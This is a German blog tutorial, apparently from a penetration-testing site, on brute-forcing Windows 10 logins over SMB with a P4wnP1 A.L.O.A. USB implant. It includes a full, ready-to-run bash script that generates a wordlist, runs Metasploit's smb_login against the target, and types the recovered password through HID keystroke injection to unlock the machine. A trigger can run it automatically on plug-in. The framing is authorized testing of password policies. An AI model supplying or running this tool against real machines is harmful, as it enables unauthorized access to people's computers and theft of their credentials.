SMB brute force mit P4wnP1 A.L.O.A.

SMB (Server Message Block) ist ein Protokoll, das in lokalen Netzwerken für die Übertragung von Daten zwischen einem Client und einem Server verantwortlich ist. Ursprünglich wurde es dazu eingesetzt, um in Windows-Netzwerken Dateien und Verzeichnisse freizugeben bzw.  Druckdienste zu realisieren. Aber auch unter Linux existiert eine Schnittstelle (Samba), die es ermöglicht mit Windows-Clients Daten über TCP/IP auszutauschen. Standardmäßig verläuft die Kommunikation über TCP Port 445. Falls Sie aber NetBIOS Funktionen (Network Basic Input Output System) zur Namensauflösung  benutzen wollen, sollten sie die Ports 137, 138 UDP und 137, 139 TCP freigeben.

SMB-Bruteforce-Angriffe werden im Rahmen eines Penetrationstests eingesetzt, um die Wirksamkeit der Kennwortrichtlinien zu überprüfen bzw. potenzielle Angriffsmethoden zu identifizieren.  Dabei wird versucht, systematisch und automatisch, Benutzernamen- und Passwortkombinationen zu erraten. Ziel dabei ist, gültige Anmeldedaten zu finde, die sich als Zugang zu einem Zielnetzwerk nutzen lassen.

Das Metasploit Framework stellt diverse Module bereit, die Sie für Ihre Tests nutzen können.

Der P4wnP1, entwickelt von MaMe82, hat sich als universelles Werkzeug bewährt, mit dem Sie solche Tests durchführen können.  Im folgenden Beitrag erläutere ich, wie Sie automatisiert eine Datei mit potentiellen Passworten erstellen und den P4wnP1 so einrichten, dass er automatisiert nach dem richtigen Passwort sucht und damit einen Windows 10 PC entsperrt.

Grundlagen

Wer sich mit diesem Thema beschäftigt sollte wissen, wie man das Metasploit Framework für Penetrationstests einsetzt. In diesem Beispiel nutzen wir folgendes Auxiliary:

Viele der benötigten Optionen sind bereits mit Werten vorbelegt. Zusätzlich benötigen wir noch Dateien für die zu verwendenden Nutzernamen und Passwörter.  In unserem Beispiel sind das die Optionen USER_FILE und  PASS_FILE.

Passwortliste erstellen

Der zu verwendende Nutzername wird als Option im nachfolgenden Bash-Skript eingetragen. Für die Option PASS_FILE müssen wir im nächsten Schritt eine Liste mit möglichen Passwörtern erstellen. Sie können hier natürlich diverse Downloads aus dem Internet verwenden. Ich habe aber festgestellt, dass Anwender nicht besonders kreativ sind, wenn sie monatlich das Passwort ändern müssen. Hier wird z.B. gern eine Kombination aus Monatsnamen, Jahreszahl und einem Sonderzeichen gewählt. Hinter dem „Intelligence Wordlist Generator“ von zztor verbirgt sich ein Python Skript, mit dem Listen für verschiedene Passwort-Kombinationen erstellt werden können.

Haben Sie das Skript heruntergeladen, müssen Sie nur noch die Konfigurationsdatei Ihren Wünschen anpassen. Beachten Sie, das verschiedene Einstellungen natürlich unterschiedliche große Passwortdateien erzeugen. Für unser Vorhaben reicht folgende Konfiguration aus. Sie erzeugt eine Liste mit ca. 1500 Einträgen:

Wenden Sie das Skript wie folgt an:

python iwlgen.py -c config.cfg -o wordlist.txt

P4wnP1 A.L.O.A. einrichten

In diesem Beitrag würde es zu weit führen, alle Möglichkeiten des P4wnP1 hier vorzustellen. Eine gute Einführung zur Installation und Handhabung findet man auf der Github-Seite des Entwicklers mame82.

Einige Features der alten Ausführung wurden hier bereits vorgestellt. Die aktuelle Version hat mame82 A.L.O.A. (A Little Offensive Appliance) genannt. Das folgende Bash-Skript (lockpicker.sh) wurde für diese Modifikation geschrieben.

#!/bin/sh
# Title: Windows 10 Lockpicker with P4wnP1 A.L.O.A
# Author: Pentestit.de, Frank Neugebauer
# Version: 0.1 - 2019/06/13
#
# 1. Create a wordlist.txt with passwords to use
#    I recommend using "Intelligence Wordlist Generator (iwlgen)" for it. Get more information here:
#    https://github.com/zzztor/intelligence-wordlist-generator
# 2  You need Metasploit Framework to run auxiliary/scanner/smb/smb_login.
#    It is preinstalled on your P4wnP1 A.L.O.A.
# 3. Make your settings in the section below.
# 4. Run lockpicker.sh script from Wordlist directory or use P4wnP1 Webinterface to create
#    TriggerAction: Enabled, One Shot, Trigger: DHCP leased issued, Action: run a Bash script: lockpicker.sh
#
# LED is permanently on = password found and stored in WORDLIST_DIR
# LED is blinking three times = no password found
#------------------------------------------------------------------------------------------------------------
# Make your settings here
TARGET_IP="172.16.0.2"
KEYBOARD_LAYOUT="GE"
WORDLIST_DIR="/usr/local/P4wnP1/scripts/iwlgen"
USERNAME="frank"


#Turn LED off
P4wnP1_cli led -b 0  >/dev/null

# Setup default gw on RDNIS interface
P4wnP1_cli net set server -i usbeth -a 172.16.0.1 -m 255.255.255.252 -o "3:172.16.0.1" -o "6:" -r "172.16.0.2|172.16.0.2|5m" >/dev/null
sleep 5

# Create a userlist.txt according to your settings
cd $WORDLIST_DIR
echo "${USERNAME}" >  userlist.txt

# Delete old passwords.txt
testfile="$WORDLIST_DIR/password.txt"
if [ -f "$testfile" ];then
      rm $WORDLIST_DIR/password.txt
fi

# Check if wordlist.txt exists in current directory
testfile="$WORDLIST_DIR/wordlist.txt"
if  ! [ -f "$testfile" ];then
      echo "No wordlist found. Create a list with passwords and copy it to ${WORDLIST_DIR}."
      exit
fi

echo "Wait until the password for user $USERNAME  is found ..."

# Run Metasploit Console
msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set STOP_ON_SUCCESS true; set RHOSTS $TARGET_IP; set USER_FILE $WORDLIST_DIR/userlist.txt; set PASS_FILE $WORDLIST_DIR/wordlist.txt; run; exit" > result.txt

grep "Success" result.txt | cut -d: -f5 | sed 's/.$//' > password.txt

# Delete empty file (password.txt)
if ! [ -s password.txt ];
then
  rm password.txt
fi

# Check if password is found
testfile="$WORDLIST_DIR/password.txt"
if [ -f "$testfile" ];then
      echo "Password found for user ${USERNAME} : `cat password.txt`"
      echo "`cat password.txt`" >>  $WORDLIST_DIR/recent_passwords.txt
      P4wnP1_cli led -b 255 >/dev/null # LED is permanantly on
   else
      echo "No password found!"
      P4wnP1_cli led -b 3 >/dev/null   # LED is blinking three times 
      exit
fi

# Create HID-Script and run it
password=`cat password.txt`
echo "layout(\"${KEYBOARD_LAYOUT}\")" > /usr/local/P4wnP1/HIDScripts/lockpicker.js
echo "press(\"ESC\")" >>/usr/local/P4wnP1/HIDScripts/lockpicker.js
echo "delay(1000)" >>/usr/local/P4wnP1/HIDScripts/lockpicker.js
echo "type(\"${password}\")" >> /usr/local/P4wnP1/HIDScripts/lockpicker.js
echo "press(\"ENTER\")" >>/usr/local/P4wnP1/HIDScripts/lockpicker.js

P4wnP1_cli hid run -n lockpicker.js >/dev/null

Sie müssen nur noch die Anpassungen im ersten Teil des Skriptes vornehmen und es dann im Verzeichnis /usr/local/P4wnP1/scripts auf dem P4wnP1 abspeichern. Auch die dazugehörige Liste mit den zu verwendeten Passwörtern sollte sich im passenden Verzeichnis (siehe Skript) befinden.

Sie haben nun folgende Möglichkeiten den SMB-Brute-Force-Angriff auszuführen:

Nutzen Sie ssh und führen von dort das Skript lockpicker.sh aus oder erstellen Sie (siehe Video) eine TriggerAction, die automatisch beim Einstecken des P4wnP1 im Zielsystem ausgeführt wird.

Gefundene Passwörter sind in der Datei recent_passwords.txt auf dem P4wnP1 gespeichert.

Das nachfolgende Video zeigt die grundsätzliche Vorgehensweise:

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.